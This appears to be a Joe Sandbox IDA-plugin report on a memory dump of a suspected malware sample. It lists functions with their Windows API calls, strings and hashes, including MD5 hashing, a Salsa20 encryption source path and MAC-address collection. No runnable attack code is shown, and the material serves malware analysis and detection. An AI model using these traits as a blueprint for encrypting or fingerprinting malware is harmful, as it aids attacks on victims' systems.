Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
